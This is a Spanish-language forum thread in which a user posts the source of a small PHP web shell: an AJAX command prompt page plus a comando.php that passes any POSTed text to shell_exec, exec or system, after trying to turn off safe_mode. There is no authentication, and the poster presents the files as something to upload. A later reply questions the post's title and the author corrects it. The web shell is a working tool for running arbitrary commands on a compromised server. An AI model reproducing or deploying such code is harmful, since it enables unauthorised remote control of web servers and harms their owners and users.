Título: Ejecutar comandos ! Ajax + PHP +Css :)
Publicado por: dRak0 en 14 Diciembre 2012, 16:51 pm
Subir estos archivos: Buen estaba aburrido y dije me voy a poner a hacer una shell , aca una parte pequeña de mi shell. ejecutar.php <html> <head> <style type="text/css"> body { font-size:1.2em; font-family:"Lucida Console", Lucida, monospace; font-style:italic; background-color:black; color:yellow; margin:10px; padding:0px; } #jed { color:red; font-family:"Lucida Console", Lucida, monospace; } #miDiv { color:red; font-family:"Lucida Console", Lucida, monospace; font-size:1.2em; font-style:italic; } #comando { color:red; border:none; font-size:1.2em; font-style:italic; background-color:black; font-family:"Lucida Console", Lucida, monospace; } </style> <script> function validar(e) { if(document.all) { tecla=e.keyCode; } else { tecla=e.which; } if(tecla==13) { ajax(); } } function ajax() { var xmlhttp; t1=document.getElementById('comando').value; if(window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } else { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.getElementById("miDiv").innerHTML=xmlhttp.responseText; } } xmlhttp.open("POST","comando.php",true); xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xmlhttp.send("comando="+t1); } </script> </head> <body> Written by J3dN4k! Argentinian4EVER. twitter/jednakk<br /><br /> <div id="jed">J3dN4k><input type="text" id="comando" name="comando" onkeypress="validar(event)"></input> <!--<button type="button" onclick="ajax()">Enviar</button><br />--> </div> <b> <div id="miDiv">
</div> </b> </body> </html>
comando.php <?php $q=$_POST['comando'];
if(ini_get('safe_mode')) { ini_set('safe_mode','0'); } if(function_exists('shell_exec')) { $result=shell_exec($q); } elseif(function_exists('exec')) { exec($q,$result); } elseif(function_exists('system')) { system($q,$result); } else { $result="Todas las funciones de ejecutar comandos estan deshabilitadas por el server"; }
if(strlen($result)>0) { $response=$result; } else { $response="Usted ha introducido un comando erroneo !(Bad command)"; } echo "<pre>".$response."<br />J3dN4k></pre>"; ?>
Título: Re: Ejecutar comandos ! Aspx + php +css :)
Publicado por: Shell Root en 14 Diciembre 2012, 17:42 pm
Deberías de implementar todo, en un mismo archivo :p
Como se supone que se ejecutan comando ASPX y PHP?
Título: Re: Ejecutar comandos ! Aspx + php +css :)
Publicado por: dRak0 en 14 Diciembre 2012, 20:49 pm
Perdon , mala mia , estoy sin dormir , intente escribir "ajax" xD! (Igualmente si lees el codigo te das cuenta q quize escribir ajax)
|